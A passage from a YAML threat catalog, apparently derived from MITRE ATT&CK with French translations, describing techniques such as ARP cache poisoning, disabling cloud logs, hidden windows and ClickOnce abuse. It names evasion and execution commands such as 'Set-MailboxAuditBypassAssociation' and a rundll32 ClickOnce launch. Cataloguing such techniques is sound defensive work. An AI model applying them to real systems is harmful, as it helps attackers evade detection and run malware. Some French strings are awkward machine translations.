          vue du trafic HTTPS ou du trafic achemin\xE9 via HTTPS. (Citation : Fifield\
          \ bloque la communication r\xE9sistente par le biais du domain fronting\
          \ 2015) Le fronting de domaine implique l\u2019utilisation de noms de domaine\
          \ diff\xE9rents dans le champ SNI de l\u2019en-t\xEAte TLS et le champ Host\
          \ de l\u2019en-t\xEAte HTTP. Si les deux domaines sont servis \xE0 partir\
          \ du m\xEAme CDN, le CDN peut \xEAtre achemin\xE9 vers l\u2019adresse sp\xE9\
          cifi\xE9e dans l\u2019en-t\xEAte HTTP apr\xE8s avoir d\xE9ball\xE9 l\u2019\
          en-t\xEAte TLS. Une variante de la technique, le fronting \xAB\_sans domaine\_\
          \xBB, utilise un champ SNI qui est laiss\xE9 vide ; cela peut permettre\
          \ au fronting de fonctionner m\xEAme lorsque le CDN tente de valider que\
          \ les champs SNI et HTTP Host correspondent (si les champs SNI vides sont\
          \ ignor\xE9s).\n\nPar exemple, si domain-x et domain-y sont clients du m\xEA\
          me CDN, il est possible de placer domain-x dans l\u2019en-t\xEAte TLS et\
          \ domain-y dans l\u2019en-t\xEAte HTTP. Le trafic semblera aller au domaine\
          \ x, mais le CDN peut l\u2019acheminer vers le domaine y.\nhttps://attack.mitre.org/techniques/T1090/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1557.002
    ref_id: T1557.002
    name: ARP Cache Poisoning
    description: 'Adversaries may poison Address Resolution Protocol (ARP) caches
      to position themselves between the communication of two or more networked devices.
      This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040)
      or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).


      The ARP protocol is used to resolve IPv4 addresses to link layer addresses,
      such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices
      in a local network segment communicate with each other by using link layer addresses.
      If a networked device does not have the link layer address of a particular networked
      device, it may send out a broadcast ARP request to the local network to translate
      the IP address to a MAC address. The device with the associated IP address directly
      replies with its MAC address. The networked device that made the ARP request
      will then use as well as store that information in its ARP cache.


      An adversary may passively wait for an ARP request to poison the ARP cache of
      the requesting device. The adversary may reply with their MAC address, thus
      deceiving the victim by making them believe that they are communicating with
      the intended networked device. For the adversary to poison the ARP cache, their
      reply must be faster than the one made by the legitimate IP address owner. Adversaries
      may also send a gratuitous ARP reply that maliciously announces the ownership
      of a particular IP address to all the devices in the local network segment.


      The ARP protocol is stateless and does not require authentication. Therefore,
      devices may wrongly add or update the MAC address of the IP address in their
      ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)


      Adversaries may use ARP cache poisoning as a means to intercept network traffic.
      This activity may be used to collect and/or relay data such as credentials,
      especially those sent over an insecure, unencrypted protocol.(Citation: Sans
      ARP Spoofing Aug 2003)

      https://attack.mitre.org/techniques/T1557/002'
    translations:
      fr:
        name: Empoisonnement du cache ARP
        description: "Les adversaires peuvent empoisonner les caches ARP (Address\
          \ Resolution Protocol) pour se positionner entre la communication de deux\
          \ ou plusieurs appareils en r\xE9seau. Cette activit\xE9 peut \xEAtre utilis\xE9\
          e pour activer des comportements ult\xE9rieurs tels que [Reniflage de r\xE9\
          seau](https://attack.mitre.org/techniques/T1040) ou [Manipulation de donn\xE9\
          es transmises](https://attack.mitre.org/techniques/T1565/002).\n\nLe protocole\
          \ ARP est utilis\xE9 pour r\xE9soudre les adresses IPv4 en adresses de couche\
          \ de liaison, telles qu\u2019une adresse MAC (Media Access Control). (Citation\
          \ : RFC826 ARP) Les appareils d\u2019un segment de r\xE9seau local communiquent\
          \ entre eux \xE0 l\u2019aide d\u2019adresses de couche de liaison. Si un\
          \ p\xE9riph\xE9rique en r\xE9seau ne dispose pas de l\u2019adresse de couche\
          \ liaison d\u2019un p\xE9riph\xE9rique en r\xE9seau particulier, il peut\
          \ envoyer une demande ARP de diffusion au r\xE9seau local pour traduire\
          \ l\u2019adresse IP en une adresse MAC. L\u2019appareil avec l\u2019adresse\
          \ IP associ\xE9e r\xE9pond directement avec son adresse MAC. Le p\xE9riph\xE9\
          rique en r\xE9seau qui a effectu\xE9 la demande ARP utilisera et stockera\
          \ ensuite ces informations dans son cache ARP.\n\nUn adversaire peut attendre\
          \ passivement qu\u2019une requ\xEAte ARP empoisonne le cache ARP de l\u2019\
          appareil demandeur. L\u2019adversaire peut r\xE9pondre avec son adresse\
          \ MAC, trompant ainsi la victime en lui faisant croire qu\u2019elle communique\
          \ avec l\u2019appareil en r\xE9seau pr\xE9vu. Pour que l\u2019adversaire\
          \ puisse empoisonner le cache ARP, sa r\xE9ponse doit \xEAtre plus rapide\
          \ que celle du propri\xE9taire l\xE9gitime de l\u2019adresse IP. Les adversaires\
          \ peuvent \xE9galement envoyer une r\xE9ponse ARP gratuite qui annonce de\
          \ mani\xE8re malveillante la propri\xE9t\xE9 d\u2019une adresse IP particuli\xE8\
          re \xE0 tous les appareils du segment du r\xE9seau local.\n\nLe protocole\
          \ ARP est sans \xE9tat et ne n\xE9cessite pas d\u2019authentification. Par\
          \ cons\xE9quent, les appareils peuvent ajouter ou mettre \xE0 jour par erreur\
          \ l\u2019adresse MAC de l\u2019adresse IP dans leur cache ARP. (Citation\
          \ : Sans usurpation ARP ao\xFBt 2003)(R\xE9f\xE9rence : Cylance Cleaver)\n\
          \nLes adversaires peuvent utiliser l\u2019empoisonnement du cache ARP comme\
          \ moyen d\u2019intercepter le trafic r\xE9seau. Cette activit\xE9 peut \xEA\
          tre utilis\xE9e pour collecter et/ou relayer des donn\xE9es telles que des\
          \ informations d\u2019identification, en particulier celles envoy\xE9es\
          \ via un protocole non s\xE9curis\xE9 et non chiffr\xE9. (Citation : Sans\
          \ usurpation ARP ao\xFBt 2003)\nhttps://attack.mitre.org/techniques/T1557/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.008
    ref_id: T1562.008
    name: Disable or Modify Cloud Logs
    description: "An adversary may disable or modify cloud logging capabilities and\
      \ integrations to limit what data is collected on their activities and avoid\
      \ detection. Cloud environments allow for collection and analysis of audit and\
      \ application logs that provide insight into what activities a user does within\
      \ the environment. If an adversary has sufficient permissions, they can disable\
      \ or modify logging to avoid detection of their activities.\n\nFor example,\
      \ in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to\
      \ conducting further malicious activity.(Citation: Following the CloudTrail:\
      \ Generating strong AWS security signals with Sumo Logic) They may alternatively\
      \ tamper with logging functionality \u2013 for example, by removing any associated\
      \ SNS topics, disabling multi-region logging, or disabling settings that validate\
      \ and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection\
      \ Disruption Module) In Office 365, an adversary may disable logging on mail\
      \ collection activities for specific users by using the `Set-MailboxAuditBypassAssociation`\
      \ cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading\
      \ the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation:\
      \ Dark Reading Microsoft 365 Attacks 2021)\nhttps://attack.mitre.org/techniques/T1562/008"
    translations:
      fr:
        name: "D\xE9sactiver ou modifier les journaux cloud"
        description: "Un adversaire peut d\xE9sactiver ou modifier les fonctionnalit\xE9\
          s de journalisation et les int\xE9grations dans le cloud afin de limiter\
          \ les donn\xE9es collect\xE9es sur ses activit\xE9s et d\u2019\xE9viter\
          \ d\u2019\xEAtre d\xE9tect\xE9. Les environnements cloud permettent la collecte\
          \ et l\u2019analyse des journaux d\u2019audit et d\u2019application qui\
          \ fournissent des informations sur les activit\xE9s d\u2019un utilisateur\
          \ dans l\u2019environnement. Si un adversaire dispose d\u2019autorisations\
          \ suffisantes, il peut d\xE9sactiver ou modifier la journalisation pour\
          \ \xE9viter la d\xE9tection de ses activit\xE9s.\n\nPar exemple, dans AWS,\
          \ un adversaire peut d\xE9sactiver les int\xE9grations CloudWatch/CloudTrail\
          \ avant de mener d\u2019autres activit\xE9s malveillantes. (Citation : Suivre\
          \ le CloudTrail : G\xE9n\xE9rer de puissants signaux de s\xE9curit\xE9 AWS\
          \ avec Sumo Logic) Ils peuvent \xE9galement alt\xE9rer la fonctionnalit\xE9\
          \ de journalisation, par exemple en supprimant toutes les rubriques SNS\
          \ associ\xE9es, en d\xE9sactivant la journalisation multir\xE9gion ou en\
          \ d\xE9sactivant les param\xE8tres qui valident et/ou chiffrent les fichiers\
          \ journaux. (Citation : AWS Update Trail)(Citation : Module de perturbation\
          \ de d\xE9tection Pacu) Dans Office 365, un adversaire peut d\xE9sactiver\
          \ la journalisation des activit\xE9s de collecte de courrier pour des utilisateurs\
          \ sp\xE9cifiques \xE0 l\u2019aide de l\u2019applet de commande \xAB Set-MailboxAuditBypassAssociation\
          \ \xBB, en d\xE9sactivant l\u2019audit avanc\xE9 M365 pour l\u2019utilisateur\
          \ ou en r\xE9trogradant la licence de l\u2019utilisateur d\u2019une licence\
          \ E5 Entreprise \xE0 une licence E3 Entreprise. (Citation : Dark Reading\
          \ Attaques Microsoft 365 2021)\nhttps://attack.mitre.org/techniques/T1562/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1518.001
    ref_id: T1518.001
    name: Security Software Discovery
    description: 'Adversaries may attempt to get a listing of security software, configurations,
      defensive tools, and sensors that are installed on a system or in a cloud environment.
      This may include things such as cloud monitoring agents and anti-virus. Adversaries
      may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.


      Example commands that can be used to obtain security software information are
      [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with
      [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106),
      and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators
      of discovery behavior may be more specific to the type of software or security
      system the adversary is looking for. It is becoming more common to see macOS
      malware perform checks for LittleSnitch and KnockKnock software.


      Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009)
      to discover cloud-native security software installed on compute infrastructure,
      such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent.
      These agents  may collect  metrics and logs from the VM, which may be centrally
      aggregated in a cloud-based monitoring platform.

      https://attack.mitre.org/techniques/T1518/001'
    translations:
      fr:
        name: "D\xE9couverte de logiciels de s\xE9curit\xE9"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de logiciels\
          \ de s\xE9curit\xE9, de configurations, d\u2019outils d\xE9fensifs et de\
          \ capteurs install\xE9s sur un syst\xE8me ou dans un environnement cloud.\
          \ Il peut s\u2019agir d\u2019\xE9l\xE9ments tels que des agents de surveillance\
          \ du cloud et un antivirus. Les adversaires peuvent utiliser les informations\
          \ de [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)\
          \ lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, notamment si l\u2019adversaire infecte compl\xE8tement\
          \ la cible et/ou tente ou non des actions sp\xE9cifiques.\n\nDes exemples\
          \ de commandes qui peuvent \xEAtre utilis\xE9es pour obtenir des informations\
          \ sur les logiciels de s\xE9curit\xE9 sont [netsh](https://attack.mitre.org/software/S0108),\
          \ <code>reg query</code> avec [Reg](https://attack.mitre.org/software/S0075),\
          \ <code>dir</code> avec [cmd](https://attack.mitre.org/software/S0106) et\
          \ [Tasklist](https://attack.mitre.org/software/S0057), mais d\u2019autres\
          \ indicateurs du comportement de d\xE9couverte peuvent \xEAtre plus sp\xE9\
          cifiques au type de logiciel ou de syst\xE8me de s\xE9curit\xE9 que l\u2019\
          adversaire recherche. Il est de plus en plus courant de voir des logiciels\
          \ malveillants macOS effectuer des v\xE9rifications pour les logiciels LittleSnitch\
          \ et KnockKnock.\n\nLes adversaires peuvent \xE9galement utiliser l'[API\
          \ cloud](https://attack.mitre.org/techniques/T1059/009) pour d\xE9couvrir\
          \ les logiciels de s\xE9curit\xE9 natifs du cloud install\xE9s sur l\u2019\
          infrastructure de calcul, tels que l\u2019agent AWS CloudWatch, l\u2019\
          agent Azure VM et l\u2019agent Google Cloud Monitor. Ces agents peuvent\
          \ collecter des m\xE9triques et des journaux \xE0 partir de la machine virtuelle,\
          \ qui peuvent \xEAtre agr\xE9g\xE9s de mani\xE8re centralis\xE9e dans une\
          \ plateforme de surveillance bas\xE9e sur le cloud.\nhttps://attack.mitre.org/techniques/T1518/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.003
    ref_id: T1564.003
    name: Hidden Window
    description: "Adversaries may use hidden windows to conceal malicious activity\
      \ from the plain sight of users. In some cases, windows that would typically\
      \ be displayed when an application carries out an operation can be hidden. This\
      \ may be utilized by system administrators to avoid disrupting user work environments\
      \ when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities\
      \ to hide otherwise visible windows from users so as not to alert the user to\
      \ adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn\
      \ macOS, the configurations for how applications run are listed in property\
      \ list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>,\
      \ which allows for Java applications to prevent the application's icon from\
      \ appearing in the Dock. A common use for this is when applications run in the\
      \ system tray, but don't also want to show up in the Dock.\n\nSimilarly, on\
      \ Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
      \ Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005)\
      \ to make windows hidden. One example of this is <code>powershell.exe -WindowStyle\
      \ Hidden</code>.(Citation: PowerShell About 2019)\n\nIn addition, Windows supports\
      \ the `CreateDesktop()` API that can create a hidden desktop window with its\
      \ own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation:\
      \ Anatomy of an hVNC Attack)  All applications running on the hidden desktop\
      \ window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be\
      \ invisible to other desktops windows.\nhttps://attack.mitre.org/techniques/T1564/003"
    translations:
      fr:
        name: "Fen\xEAtre cach\xE9e"
        description: "Les adversaires peuvent utiliser des fen\xEAtres cach\xE9es\
          \ pour dissimuler des activit\xE9s malveillantes \xE0 la vue des utilisateurs.\
          \ Dans certains cas, les fen\xEAtres qui s\u2019affichent g\xE9n\xE9ralement\
          \ lorsqu\u2019une application effectue une op\xE9ration peuvent \xEAtre\
          \ masqu\xE9es. Les administrateurs syst\xE8me peuvent l\u2019utiliser pour\
          \ \xE9viter de perturber l\u2019environnement de travail des utilisateurs\
          \ lors de l\u2019ex\xE9cution de t\xE2ches administratives. \n\nLes adversaires\
          \ peuvent abuser de ces fonctionnalit\xE9s pour cacher des fen\xEAtres autrement\
          \ visibles aux utilisateurs afin de ne pas alerter l\u2019utilisateur de\
          \ l\u2019activit\xE9 de l\u2019adversaire sur le syst\xE8me. (Citation :\
          \ Logiciel malveillant Mac obsol\xE8te)\n\nSur macOS, les configurations\
          \ d\u2019ex\xE9cution des applications sont r\xE9pertori\xE9es dans des\
          \ fichiers de liste de propri\xE9t\xE9s (plist). L\u2019une des balises\
          \ de ces fichiers peut \xEAtre <code>apple.awt.UIElement</code>, ce qui\
          \ permet aux applications Java d\u2019emp\xEAcher l\u2019ic\xF4ne de l\u2019\
          application d\u2019appara\xEEtre dans le Dock. Une utilisation courante\
          \ est lorsque les applications s\u2019ex\xE9cutent dans la barre d\u2019\
          \xE9tat syst\xE8me, mais ne veulent pas \xE9galement appara\xEEtre dans\
          \ le Dock.\n\nDe m\xEAme, sous Windows, il existe une vari\xE9t\xE9 de fonctionnalit\xE9\
          s dans les langages de script, tels que [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
          \ Jscript et [Visual Basic](https://attack.mitre.org/techniques/T1059/005)\
          \ pour masquer Windows. Un exemple de ceci est <code>powershell.exe -WindowStyle\
          \ Hidden</code>. (Citation : PowerShell \xE0 propos de 2019)\n\nDe plus,\
          \ Windows prend en charge l\u2019API \xAB CreateDesktop() \xBB qui peut\
          \ cr\xE9er une fen\xEAtre de bureau cach\xE9e avec son propre processus\
          \ <code>explorer.exe</code> correspondant. (Citation : VNC cach\xE9)(Citation\
          \ : Anatomie d\u2019une attaque hVNC)  Toutes les applications ex\xE9cut\xE9\
          es sur la fen\xEAtre de bureau cach\xE9e, telles qu\u2019une session VNC\
          \ cach\xE9e (hVNC), seront invisibles pour les autres fen\xEAtres de bureau.\n\
          https://attack.mitre.org/techniques/T1564/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1127.002
    ref_id: T1127.002
    name: ClickOnce
    description: "Adversaries may use ClickOnce applications (.appref-ms and .application\
      \ files) to proxy execution of code through a trusted Windows utility.(Citation:\
      \ Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user\
      \ to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE,\
      \ or .DLL) that install and run from a file share or web page with minimal user\
      \ interaction. The application launches as a child process of DFSVC.EXE, which\
      \ is responsible for installing, launching, and updating the application.(Citation:\
      \ SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only\
      \ limited permissions, they do not require administrative permissions to install.(Citation:\
      \ Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy\
      \ execution of malicious code without needing to escalate privileges.\n\nClickOnce\
      \ may be abused in a number of ways. For example, an adversary may rely on [User\
      \ Execution](https://attack.mitre.org/techniques/T1204). When a user visits\
      \ a malicious website, the .NET malware is disguised as legitimate software\
      \ and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\
      \nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011)\
      \ script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation:\
      \ LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application\
      \ file to a remote user\u2019s startup folder for continued malicious code deployment\
      \ (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation:\
      \ Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)\nhttps://attack.mitre.org/techniques/T1127/002"
    translations:
      fr:
        name: ClicUne fois
        description: "Les adversaires peuvent utiliser des applications ClickOnce\
          \ (fichiers .appref-ms et .application) pour proxy l\u2019ex\xE9cution du\
          \ code via un utilitaire Windows approuv\xE9. (Citation : Burke/CISA ClickOnce\
          \ BlackHat) ClickOnce est un d\xE9ploiement qui permet \xE0 un utilisateur\
          \ de cr\xE9er des applications .NET bas\xE9es sur Windows qui se mettent\
          \ \xE0 jour automatiquement (c\u2019est-\xE0-dire, . XBAP, .EXE ou .DLL)\
          \ qui s\u2019installent et s\u2019ex\xE9cutent \xE0 partir d\u2019un partage\
          \ de fichiers ou d\u2019une page Web avec une interaction minimale de l\u2019\
          utilisateur. L\u2019application se lance en tant que processus enfant de\
          \ DFSVC.EXE, qui est responsable de l\u2019installation, du lancement et\
          \ de la mise \xE0 jour de l\u2019application. (Citation : SpectorOps Medium\
          \ ClickOnce)\n\n\xC9tant donn\xE9 que les applications ClickOnce ne re\xE7\
          oivent que des autorisations limit\xE9es, elles n\u2019ont pas besoin d\u2019\
          autorisations administratives pour s\u2019installer. (Citation : Microsoft\
          \ Learn ClickOnce) En tant que tels, les adversaires peuvent abuser de ClickOnce\
          \ pour ex\xE9cuter par proxy du code malveillant sans avoir besoin d\u2019\
          \xE9lever les privil\xE8ges.\n\nClickOnce peut \xEAtre utilis\xE9 de plusieurs\
          \ fa\xE7ons. Par exemple, un adversaire peut s\u2019appuyer sur [User Execution](https://attack.mitre.org/techniques/T1204).\
          \ Lorsqu\u2019un utilisateur visite un site Web malveillant, le logiciel\
          \ malveillant .NET est d\xE9guis\xE9 en logiciel l\xE9gitime et une fen\xEA\
          tre contextuelle ClickOnce s\u2019affiche pour l\u2019installation. (Citation\
          \ : NetSPI ClickOnce)\n\nLes adversaires peuvent \xE9galement abuser de\
          \ ClickOnce pour ex\xE9cuter des logiciels malveillants via un script [Rundll32](https://attack.mitre.org/techniques/T1218/011)\
          \ \xE0 l\u2019aide de la commande 'rundll32.exe dfshim.dll,ShOpenVerbApplication1'.\
          \ (Citation : LOLBAS /Dfsvc.exe)\n\nDe plus, un adversaire peut d\xE9placer\
          \ le fichier d\u2019application ClickOnce vers le dossier de d\xE9marrage\
          \ d\u2019un utilisateur distant pour poursuivre le d\xE9ploiement de code\
          \ malveillant (c\u2019est-\xE0-dire [Cl\xE9s d\u2019ex\xE9cution du registre/Dossier\
          \ de d\xE9marrage](https://attack.mitre.org/techniques/T1547/001)). (Citation\
          \ : Burke/CISA ClickOnce BlackHat)(Citation : article Burke/CISA ClickOnce)\n\
          https://attack.mitre.org/techniques/T1127/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.006
    ref_id: T1059.006
    name: Python
    description: 'Adversaries may abuse Python commands and scripts for execution.
      Python is a very popular scripting/programming language, with capabilities to
      perform many functions. Python can be executed interactively from the command-line
      (via the <code>python.exe</code> interpreter) or via scripts (.py) that can
      be written and distributed to different systems. Python code can also be compiled
      into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)


      Python comes with many built-in packages to interact with the underlying system,
      such as file operations and device I/O. Adversaries can use these libraries
      to download and execute commands or other scripts as well as perform various
      malicious behaviors.

      https://attack.mitre.org/techniques/T1059/006'
    translations:
      fr:
        name: Python
        description: "Les adversaires peuvent abuser des commandes et des scripts\
          \ Python pour l\u2019ex\xE9cution. Python est un langage de script/programmation\
          \ tr\xE8s populaire, avec des capacit\xE9s pour ex\xE9cuter de nombreuses\
          \ fonctions. Python peut \xEAtre ex\xE9cut\xE9 de mani\xE8re interactive\
          \ \xE0 partir de la ligne de commande (via l\u2019interpr\xE9teur <code>python.exe</code>)\
          \ ou via des scripts (.py) qui peuvent \xEAtre \xE9crits et distribu\xE9\
          s \xE0 diff\xE9rents syst\xE8mes. Le code Python peut \xE9galement \xEA\
          tre compil\xE9 en ex\xE9cutables binaires. (Citation : Zscaler APT31 Covid-19\
          \ octobre 2020)\n\nPython est livr\xE9 avec de nombreux packages int\xE9\
          gr\xE9s pour interagir avec le syst\xE8me sous-jacent, tels que les op\xE9\
          rations de fichiers et les E/S de p\xE9riph\xE9rique. Les adversaires peuvent\
          \ utiliser ces biblioth\xE8ques pour t\xE9l\xE9charger et ex\xE9cuter des\
          \ commandes ou d\u2019autres scripts, ainsi que pour effectuer divers comportements\
          \ malveillants.\nhttps://attack.mitre.org/techniques/T1059/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.010
    ref_id: T1070.010
    name: Relocate Malware
    description: 'Once a payload is delivered, adversaries may reproduce copies of
      the same malware on the victim system to remove evidence of their presence and/or
      avoid defenses. Copying malware payloads to new locations may also be combined
      with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup
      older artifacts.


      Relocating malware may be a part of many actions intended to evade defenses.
      For example, adversaries may copy and rename payloads to better blend into the
      local environment (i.e., [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation:
      DFIR Report Trickbot June 2023) Payloads may also be repositioned to target
      [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well
      as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation:
      Latrodectus APR 2024)


      Relocating malicious payloads may also hinder defensive analysis, especially
      to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204)
      and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated
      alerts or otherwise drawn attention from defenders.

      https://attack.mitre.org/techniques/T1070/010'
    translations:
      fr:
        name: "D\xE9placer les logiciels malveillants"
        description: "Une fois qu\u2019une charge utile est livr\xE9e, les adversaires\
          \ peuvent reproduire des copies du m\xEAme logiciel malveillant sur le syst\xE8\
          me victime afin d\u2019\xE9liminer les preuves de leur pr\xE9sence et/ou\
          \ d\u2019\xE9viter les d\xE9fenses. La copie des donn\xE9es utiles des programmes\
          \ malveillants vers de nouveaux emplacements peut \xE9galement \xEAtre combin\xE9\
          e \xE0 la [Suppression de fichiers](https://attack.mitre.org/techniques/T1070/004)\
          \ pour nettoyer les artefacts plus anciens.\n\nLa localisation des logiciels\
          \ malveillants peut faire partie de nombreuses actions visant \xE0 \xE9\
          chapper aux d\xE9fenses. Par exemple, les adversaires peuvent copier et\
          \ renommer des charges utiles pour mieux s\u2019int\xE9grer dans l\u2019\
          environnement local (c\u2019est-\xE0-dire [Correspondre au nom l\xE9gitime\
          \ ou \xE0 l\u2019emplacement](https://attack.mitre.org/techniques/T1036/005)).\
          \ (Citation : Rapport DFIR Trickbot juin 2023) Les charges utiles peuvent\
          \ \xE9galement \xEAtre repositionn\xE9es pour cibler les [Exclusions de\
          \ fichiers/chemins](https://attack.mitre.org/techniques/T1564/012) ainsi\
          \ que des emplacements sp\xE9cifiques associ\xE9s \xE0 l\u2019\xE9tablissement\
          \ de la [Persistance](https://attack.mitre.org/tactics/TA0003). (Citation\
          \ : Latrodectus APR 2024)\n\nLe d\xE9placement de charges utiles malveillantes\
          \ peut \xE9galement entraver l\u2019analyse d\xE9fensive, en particulier\
          \ pour s\xE9parer ces charges utiles d\u2019\xE9v\xE9nements ant\xE9rieurs\
          \ (tels que [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204)\
          \ et [Phishing](https://attack.mitre.org/techniques/T1566)) qui ont pu g\xE9\
          n\xE9rer des alertes ou attirer l\u2019attention des d\xE9fenseurs.\nhttps://attack.mitre.org/techniques/T1070/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1591.004
    ref_id: T1591.004
    name: Identify Roles
    description: 'Adversaries may gather information about identities and roles within
      the victim organization that can be used during targeting. Information about
      business roles may reveal a variety of targetable details, including identifiable
      information for key personnel as well as what data/resources they have access
      to.


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about business roles may also be exposed to adversaries via online or other
      accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities
      for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or
      initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

      https://attack.mitre.org/techniques/T1591/004'
    translations:
      fr:
        name: "Identifier les r\xF4les"
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ identit\xE9s et les r\xF4les au sein de l\u2019organisation victime qui\
          \ peuvent \xEAtre utilis\xE9es lors du ciblage. Les informations sur les\
          \ r\xF4les de l\u2019entreprise peuvent r\xE9v\xE9ler une vari\xE9t\xE9\
          \ de d\xE9tails cibl\xE9s, y compris des informations identifiables pour\
          \ le personnel cl\xE9 ainsi que les donn\xE9es/ressources auxquelles ils\
          \ ont acc\xE8s.\n\nLes adversaires peuvent recueillir ces informations de\
          \ diff\xE9rentes mani\xE8res, par exemple par le biais de l\u2019hame\xE7\
          onnage par le biais de [Phishing for Information](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les r\xF4les de l\u2019entreprise peuvent \xE9galement\
          \ \xEAtre expos\xE9es \xE0 des adversaires via des ensembles de donn\xE9\
          es en ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [M\xE9\
          dias sociaux](https://attack.mitre.org/techniques/T1593/001) ou [Sites Web\
          \ appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite ThreatPost Broadvoice) La collecte de ces informations\
          \ peut r\xE9v\xE9ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou [Rechercher des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablir\
          \ des comptes](https://attack.mitre.org/techniques/T1585) ou [Compromettre\
          \ des comptes](https://attack.mitre.org/techniques/T1586)), et/ou un acc\xE8\
          s initial (ex : [Phishing]( https://attack.mitre.org/techniques/T1566)).\n\
          https://attack.mitre.org/techniques/T1591/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1132
    ref_id: T1132
    name: Data Encoding
    description: 'Adversaries may encode data to make the content of command and control
      traffic more difficult to detect. Command and control (C2) information can be
      encoded using a standard data encoding system. Use of data encoding may adhere
      to existing protocol specifications and includes use of ASCII, Unicode, Base64,
      MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia
      Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data
      encoding systems may also result in data compression, such as gzip.

      https://attack.mitre.org/techniques/T1132'
    translations:
      fr:
        name: "Encodage des donn\xE9es"
        description: "Les adversaires peuvent coder des donn\xE9es pour rendre le\
          \ contenu du trafic de commande et de contr\xF4le plus difficile \xE0 d\xE9\
          tecter. Les informations de commande et de contr\xF4le (C2) peuvent \xEA\
          tre cod\xE9es \xE0 l\u2019aide d\u2019un syst\xE8me de codage de donn\xE9\
          es standard. L\u2019utilisation de l\u2019encodage des donn\xE9es peut \xEA\
          tre conforme aux sp\xE9cifications de protocole existantes et inclut l\u2019\
          utilisation d\u2019ASCII, d\u2019Unicode, de Base64, de MIME ou d\u2019\
          autres syst\xE8mes de codage binaire-texte et de caract\xE8res. (Citation\
          \ : Wikip\xE9dia Binary-to-text Encoding) (citation : Codage des caract\xE8\
          res de Wikip\xE9dia) Certains syst\xE8mes d\u2019encodage de donn\xE9es\
          \ peuvent \xE9galement entra\xEEner une compression de donn\xE9es, tels\
